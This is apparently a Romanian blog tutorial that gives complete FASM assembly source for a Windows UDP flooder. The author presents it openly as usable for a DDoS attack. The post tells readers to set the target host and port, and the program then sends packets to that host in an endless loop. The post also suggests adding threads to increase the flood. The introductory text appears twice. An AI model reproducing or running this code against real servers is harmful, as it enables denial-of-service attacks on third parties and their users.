Introducere
Assembly (ASM) e considerat unul din limbajele de programare mai limitate, mici.
Beneficiile acestuia sunt timpul mai mic de executie, binaryuri mai mici si limitele neexistente. Aproape orice software de computer poate fi codat in ASM dar asta ar dura mai mult timp decat intr-un limbaj mai mare precum C++ .
In acest tutorial va voi explica cum sa creeati si compilati un simplu flooder UDP pentru sistemele Windows.
UDP Flooder
Codul de mai jos e un flooder UDP, poate fi folosit pentru a "stresa" un remote server, sau pentru un atac DDOS.
Pentru a folosi acest cod, modificati iSleep, sPort si sHost cu cele specifice si compilatile cu FASM .
El va genera un executabil de 2KB care cand va fi pornit va trimite in continuu AAAAAA... Pachetele vor fi trimise catre host fara oprire pana cand va aparea o eroare.
Alte informatii
Codul de mai sus este destul de simplu dar nu poate avea erori, ar trebui totusi ca mereu sa comparati eax cu 0 dupa fiecare functie pe care o chemati inainte de a continua. Aplicatia ar putea fi imbunatatita adaugat MultiThreadSupport folosind CreateThread.
Multumesc pentru ca ati citit.
Assembly (ASM) e considerat unul din limbajele de programare mai limitate, mici.
Beneficiile acestuia sunt timpul mai mic de executie, binaryuri mai mici si limitele neexistente. Aproape orice software de computer poate fi codat in ASM dar asta ar dura mai mult timp decat intr-un limbaj mai mare precum C++ .
In acest tutorial va voi explica cum sa creeati si compilati un simplu flooder UDP pentru sistemele Windows.
UDP Flooder
Codul de mai jos e un flooder UDP, poate fi folosit pentru a "stresa" un remote server, sau pentru un atac DDOS.
Pentru a folosi acest cod, modificati iSleep, sPort si sHost cu cele specifice si compilatile cu FASM .
El va genera un executabil de 2KB care cand va fi pornit va trimite in continuu AAAAAA... Pachetele vor fi trimise catre host fara oprire pana cand va aparea o eroare.
Code:
format PE console 4.0 include 'include\win32a.inc' section '.data' data readable writeable ; Timpul dintre pachete iSleep equ 500d ; Portul destinatar sPort equ 2750d ; Hostul destinatar sHost db 'remotehost',0 ; Pachetul ce va fi trimis sPacket db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',0 sPacketl = $ - sPacket sock dd ? sin_addr dd ? sin_port dd ? saddr sockaddr_in wsadata WSADATA section '.code' code readable executable start: invoke WSAStartup, 0202h, wsadata ; Declararea socketului UDP invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17 mov [sock], eax mov [saddr.sin_family], AF_INET ; Selectarea portului invoke htons, sPort mov [saddr.sin_port], ax ; Selectarea IPului invoke gethostbyname, sHost mov eax, [eax+12] mov eax, [eax] mov eax, [eax] mov [saddr.sin_addr], eax ; Startul trimiterii de pachete .loop: invoke sendto, [sock], sPacket, sPacketl, 0, saddr,sizeof.sockaddr_in cmp eax, 0 je exit invoke Sleep, iSleep jmp .loop ; alte chestii exit: invoke closesocket, [sock] invoke WSACleanup invoke ExitProcess,0 section '.idata' import data readable writeable library kernel,'KERNEL32.DLL',\ winsock,'WSOCK32.DLL' import kernel,\ ExitProcess,'ExitProcess',\ Sleep,'Sleep' import winsock,\ WSAStartup,'WSAStartup',\ WSACleanup,'WSACleanup',\ socket,'socket',\ sendto,'sendto',\ inet_addr,'inet_addr',\ htons,'htons',\ closesocket,'closesocket',\ gethostbyname,'gethostbyname'
Codul de mai sus este destul de simplu dar nu poate avea erori, ar trebui totusi ca mereu sa comparati eax cu 0 dupa fiecare functie pe care o chemati inainte de a continua. Aplicatia ar putea fi imbunatatita adaugat MultiThreadSupport folosind CreateThread.
Multumesc pentru ca ati citit.
Niciun comentariu:
Trimiteți un comentariu